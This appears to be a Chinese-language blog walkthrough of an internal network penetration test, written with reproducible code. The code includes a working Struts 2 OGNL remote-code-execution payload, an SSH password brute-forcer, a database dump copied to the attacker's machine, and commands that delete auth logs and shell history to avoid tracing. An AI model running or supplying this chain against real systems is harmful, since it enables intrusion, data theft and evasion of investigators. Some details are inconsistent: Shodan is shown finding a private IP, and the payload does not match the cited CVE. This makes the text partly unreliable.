一、从一次内部渗透测试说起
公司内部的渗透测试通常是为了验证组织的安全机制是否有效。有一次,我受邀对一家互联网公司的内网进行全方位渗透测试,目标是模拟攻击者如何绕过防御,从外部到达核心数据库。最终,我成功通过一个被忽视的开放端口,从外部打入内网,并完成了域控的完全接管。这次案例让我对内网渗透的流程有了更深的理解。
在本文中,我会带你复现一个类似的攻击流程,从信息收集到最终数据窃取,展示完整的攻击链。请注意:本文仅限用于授权的安全测试,禁止在未授权的环境中尝试本文技术。
---
每一次渗透测试都需要一条完整的攻击链。以下是本次攻击的关键步骤:
- 信息收集:通过OSINT发现目标的互联网暴露面。
- 漏洞利用:利用未修补的Web漏洞获取初始访问权限。
- 权限提升:通过内网漏洞提升权限到域用户。
- 横向移动:在内网中移动,并寻找高价值目标。
- 数据窃取:获取域控权限,窃取数据库及核心文件。
- 痕迹清理:清理攻击痕迹,避免被快速溯源。
接下来,我们将逐步拆解这个攻击链,并提供可复现的代码和工具配置。
---
三、外部信息收集:目标暴露面在哪?
1. 使用Shodan收集资产信息
Shodan是红队攻击的利器,可以快速发现目标暴露的开放服务。假设目标域名是 target.com,我们可以使用以下Python代码调用Shodan API:
<pre><code class="language-python">import shodan
api_key = "YOUR_SHODAN_API_KEY" api = shodan.Shodan(api_key)
try:
搜索目标域名相关的资产
results = api.search("hostname:target.com") for result in results['matches']: print(f"IP: {result['ip_str']}, Port: {result['port']}, Banner: {result['data']}") except Exception as e: print(f"Error: {e}")</code></pre>
通过上述代码,我们可以枚举目标域名对应的所有IP及开放端口。例如,我们发现了一个未修补的漏洞服务运行在目标的 192.168.1.100:8080 上。
2. 深入挖掘Web服务指纹
使用工具 like whatweb 或 httpx 可以进一步探测目标Web服务的指纹。例如运行以下命令:
<pre><code class="language-bash">whatweb http://192.168.1.100:8080</code></pre>

返回结果显示,目标使用的是一个过时的Apache Struts 2服务器,这引发了我的兴趣。
---
四、漏洞利用:Apache Struts 2远程代码执行
Apache Struts 2历史上爆出多个远程代码执行漏洞,其中 CVE-2018-11776 非常危险。为了利用这一漏洞,我们可以使用Python编写一个EXP:
POC代码实现
<pre><code class="language-python">import requests
目标URL
url = "http://192.168.1.100:8080"
构造Payload
payload = ( "%{(#_='multipart/form-data')." "(#[email protected]@DEFAULT_MEMBER_ACCESS)." "(#_memberAccess?(#_memberAccess=#dm):" "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." "(#ognlUtil.getExcludedPackageNames().clear())." "(#ognlUtil.getExcludedClasses().clear())." "(#context.setMemberAccess(#dm))))." "(#cmd='whoami')." "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." "(#p=new java.lang.ProcessBuilder(#cmds))." "(#p.redirectErrorStream(true)).(#process=#p.start())." "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." "(#ros.flush())}" )
headers = { "Content-Type": "application/x-www-form-urlencoded" }
response = requests.post(url, headers=headers, data=payload) print(response.text)</code></pre>
运行这段代码后,我们成功在目标服务器上执行了 whoami 命令,并获得了目标服务器的用户名。
---
五、权限提升:从Web到内网
通过前面的漏洞,我们已经获取了目标Web服务器的访问权限。接下来,我们需要进一步提升权限。
1. 获取系统信息
在目标服务器上执行以下命令,枚举系统信息: <pre><code class="language-bash">uname -a cat /etc/passwd</code></pre>

发现目标服务器运行的是Ubuntu 16.04,并且SSH服务开启。
2. 横向移动到数据库服务器
通过扫描内网,我们发现了一个数据库服务器暴露在目标网络内部。使用以下代码实现暴力破解:
<pre><code class="language-python">import paramiko
target_ip = "192.168.1.101" username = "root" password_list = ["123456", "password", "root", "admin"]

ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in password_list: try: ssh.connect(target_ip, username=username, password=password) print(f"Success: {username}:{password}") break except paramiko.AuthenticationException: print(f"Failed: {username}:{password}")</code></pre>
最终,我成功通过默认密码登录到内网数据库服务器 192.168.1.101。
---

六、数据窃取与痕迹清理:抵达核心
1. Dump数据库
连接到数据库后,我们可以使用以下SQL语句导出目标敏感数据: <pre><code class="language-sql">SELECT * FROM users INTO OUTFILE '/tmp/users.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n';</code></pre>
将文件传回攻击者机器: <pre><code class="language-bash">scp [email protected]:/tmp/users.csv ./users.csv</code></pre>
2. 清理日志与痕迹
为了避免被发现,需要清理服务器上的操作痕迹: <pre><code class="language-bash">history -c rm /var/log/auth.log</code></pre>
---
七、我的独家心得:精益求精
经过多次渗透测试,我的最大感悟是,细节决定成败。任何被忽视的小问题,都可能成为攻击的突破口。比如在这次测试中,如果目标服务器的Apache Struts 2补丁及时更新,攻击可能完全无法执行。
如果你要做渗透测试,请记住以下几点:
- 工具不够,脚本来凑:很多时候现成工具无法满足需求,自己写脚本是必须的技能。
- 保持耐心:攻击者的时间成本很低,防守者的失误往往是时间问题。
- 学习新漏洞:关注漏洞库更新,能够发现更多被忽略的攻击机会。
最后,安全研究是一场没有终点的比赛,期待你也能在实践中发现更多新技术!